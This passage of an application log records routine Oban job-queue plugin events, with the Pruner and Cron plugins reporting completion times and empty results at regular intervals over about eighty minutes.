{"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:00.936 [info] {"source":"oban","duration":545,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:50:13.170 [info] {"source":"oban","duration":2046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:43.173 [info] {"source":"oban","duration":2046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:00.939 [info] {"source":"oban","duration":1436,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:51:13.175 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:43.177 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:00.940 [info] {"source":"oban","duration":406,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:52:13.180 [info] {"source":"oban","duration":1987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:43.183 [info] {"source":"oban","duration":1976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:00.941 [info] {"source":"oban","duration":510,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:53:13.186 [info] {"source":"oban","duration":2294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:43.188 [info] {"source":"oban","duration":1861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:00.944 [info] {"source":"oban","duration":2026,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:54:13.192 [info] {"source":"oban","duration":2370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:43.194 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:00.945 [info] {"source":"oban","duration":538,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:55:13.196 [info] {"source":"oban","duration":1889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:43.201 [info] {"source":"oban","duration":2903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:00.946 [info] {"source":"oban","duration":608,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:56:13.203 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:43.205 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:00.948 [info] {"source":"oban","duration":1352,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:57:13.207 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:43.209 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:00.949 [info] {"source":"oban","duration":767,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:58:13.211 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:43.214 [info] {"source":"oban","duration":2351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:00.951 [info] {"source":"oban","duration":486,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:59:13.218 [info] {"source":"oban","duration":2835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:43.222 [info] {"source":"oban","duration":2969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:00.953 [info] {"source":"oban","duration":880,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:00:13.224 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:43.226 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:00.954 [info] {"source":"oban","duration":734,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:01:13.229 [info] {"source":"oban","duration":2249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:43.231 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:00.956 [info] {"source":"oban","duration":662,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:02:13.233 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:43.235 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:00.958 [info] {"source":"oban","duration":378,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:03:13.238 [info] {"source":"oban","duration":1737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:43.241 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:00.959 [info] {"source":"oban","duration":385,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:04:13.244 [info] {"source":"oban","duration":2444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:43.246 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:00.960 [info] {"source":"oban","duration":627,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:05:13.248 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:43.250 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:00.961 [info] {"source":"oban","duration":515,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:06:13.253 [info] {"source":"oban","duration":2426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:43.255 [info] {"source":"oban","duration":1723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:00.962 [info] {"source":"oban","duration":626,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:07:13.258 [info] {"source":"oban","duration":2607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:43.260 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:00.964 [info] {"source":"oban","duration":742,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:08:13.262 [info] {"source":"oban","duration":1804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:43.265 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:00.966 [info] {"source":"oban","duration":744,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:09:13.267 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:43.270 [info] {"source":"oban","duration":2353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:00.968 [info] {"source":"oban","duration":447,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:10:13.272 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:43.275 [info] {"source":"oban","duration":1967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:00.970 [info] {"source":"oban","duration":959,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:11:13.277 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:43.280 [info] {"source":"oban","duration":2021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:00.971 [info] {"source":"oban","duration":435,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:12:13.283 [info] {"source":"oban","duration":2362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:43.285 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:00.972 [info] {"source":"oban","duration":467,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:13:13.288 [info] {"source":"oban","duration":2729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:43.291 [info] {"source":"oban","duration":1817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:00.973 [info] {"source":"oban","duration":523,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:14:13.294 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:43.296 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:00.975 [info] {"source":"oban","duration":536,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:15:13.298 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:43.300 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:00.977 [info] {"source":"oban","duration":261,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:16:13.303 [info] {"source":"oban","duration":2746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:43.308 [info] {"source":"oban","duration":3132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:00.978 [info] {"source":"oban","duration":471,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:17:13.314 [info] {"source":"oban","duration":5152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:43.317 [info] {"source":"oban","duration":1826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:00.979 [info] {"source":"oban","duration":511,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:18:13.320 [info] {"source":"oban","duration":2048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:43.322 [info] {"source":"oban","duration":1705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:00.981 [info] {"source":"oban","duration":701,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:19:13.324 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:43.327 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:00.983 [info] {"source":"oban","duration":1131,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:20:13.330 [info] {"source":"oban","duration":2200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:43.332 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:00.984 [info] {"source":"oban","duration":598,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:21:13.334 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:43.336 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:00.985 [info] {"source":"oban","duration":439,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:22:13.338 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:43.340 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:00.987 [info] {"source":"oban","duration":754,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:23:13.342 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:43.345 [info] {"source":"oban","duration":1943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:00.988 [info] {"source":"oban","duration":583,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:24:13.347 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:43.352 [info] {"source":"oban","duration":3943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:00.991 [info] {"source":"oban","duration":566,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:25:13.355 [info] {"source":"oban","duration":2590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:43.357 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:00.993 [info] {"source":"oban","duration":1120,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:26:13.360 [info] {"source":"oban","duration":2214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:43.363 [info] {"source":"oban","duration":2545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:00.995 [info] {"source":"oban","duration":986,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:27:13.365 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:43.368 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:00.996 [info] {"source":"oban","duration":473,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:28:13.370 [info] {"source":"oban","duration":1613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:43.374 [info] {"source":"oban","duration":3080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:01.009 [info] {"source":"oban","duration":401,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:29:13.377 [info] {"source":"oban","duration":2220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:43.379 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:00.010 [info] {"source":"oban","duration":758,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:30:13.381 [info] {"source":"oban","duration":1752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:43.383 [info] {"source":"oban","duration":1895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:00.012 [info] {"source":"oban","duration":682,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:31:13.386 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:43.388 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:00.014 [info] {"source":"oban","duration":450,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:32:13.392 [info] {"source":"oban","duration":1934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:43.394 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:00.016 [info] {"source":"oban","duration":1182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:33:13.396 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:43.398 [info] {"source":"oban","duration":1770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:00.018 [info] {"source":"oban","duration":634,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:34:13.401 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:43.406 [info] {"source":"oban","duration":4031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:00.020 [info] {"source":"oban","duration":437,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:35:13.408 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:43.410 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:00.021 [info] {"source":"oban","duration":544,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:36:13.412 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:43.414 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:00.022 [info] {"source":"oban","duration":611,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:37:13.416 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:43.418 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:00.024 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:38:13.420 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:43.423 [info] {"source":"oban","duration":2703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:00.026 [info] {"source":"oban","duration":1192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:39:13.426 [info] {"source":"oban","duration":1848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:43.429 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:00.028 [info] {"source":"oban","duration":833,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:40:13.431 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:43.433 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:00.029 [info] {"source":"oban","duration":690,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:41:13.468 [info] {"source":"oban","duration":6314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:43.471 [info] {"source":"oban","duration":2426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:00.030 [info] {"source":"oban","duration":365,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:42:13.473 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:43.475 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:00.031 [info] {"source":"oban","duration":437,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:43:13.477 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:43.480 [info] {"source":"oban","duration":2617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:00.032 [info] {"source":"oban","duration":628,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:44:13.482 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:43.486 [info] {"source":"oban","duration":2897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:00.034 [info] {"source":"oban","duration":767,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:45:13.490 [info] {"source":"oban","duration":3464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:43.493 [info] {"source":"oban","duration":2786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:00.036 [info] {"source":"oban","duration":570,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:46:13.496 [info] {"source":"oban","duration":1827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:43.499 [info] {"source":"oban","duration":1858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:00.037 [info] {"source":"oban","duration":497,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:47:13.503 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:43.506 [info] {"source":"oban","duration":1997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:00.038 [info] {"source":"oban","duration":475,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:48:13.509 [info] {"source":"oban","duration":2620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:43.511 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:00.039 [info] {"source":"oban","duration":463,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:49:13.514 [info] {"source":"oban","duration":2531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:43.518 [info] {"source":"oban","duration":2087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:00.040 [info] {"source":"oban","duration":606,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:50:13.520 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:43.522 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:00.042 [info] {"source":"oban","duration":750,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:51:13.524 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:43.526 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:00.046 [info] {"source":"oban","duration":2245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:52:13.528 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:43.531 [info] {"source":"oban","duration":2723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:00.047 [info] {"source":"oban","duration":621,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:53:13.534 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:43.536 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:00.048 [info] {"source":"oban","duration":514,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:54:13.539 [info] {"source":"oban","duration":1760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:43.541 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:00.049 [info] {"source":"oban","duration":400,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:55:13.543 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:43.545 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:00.050 [info] {"source":"oban","duration":491,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:56:13.547 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:43.549 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:00.051 [info] {"source":"oban","duration":620,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:57:13.551 [info] {"source":"oban","duration":1710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:43.555 [info] {"source":"oban","duration":2284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:00.053 [info] {"source":"oban","duration":656,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:58:13.557 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:43.561 [info] {"source":"oban","duration":2804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:00.054 [info] {"source":"oban","duration":719,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:59:13.563 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:43.565 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:00.056 [info] {"source":"oban","duration":364,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:00:13.567 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:43.569 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:00.057 [info] {"source":"oban","duration":434,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:01:13.572 [info] {"source":"oban","duration":2717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:43.575 [info] {"source":"oban","duration":1986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:00.059 [info] {"source":"oban","duration":864,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:02:13.577 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:43.579 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:00.061 [info] {"source":"oban","duration":964,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:03:13.582 [info] {"source":"oban","duration":1937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:43.586 [info] {"source":"oban","duration":3108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:00.062 [info] {"source":"oban","duration":715,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:04:13.589 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:43.591 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:00.065 [info] {"source":"oban","duration":1304,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:05:13.593 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:43.596 [info] {"source":"oban","duration":2303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:00.067 [info] {"source":"oban","duration":567,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:06:13.599 [info] {"source":"oban","duration":2294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:43.602 [info] {"source":"oban","duration":2100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:00.069 [info] {"source":"oban","duration":860,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:07:13.604 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:43.606 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:00.070 [info] {"source":"oban","duration":830,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:08:13.608 [info] 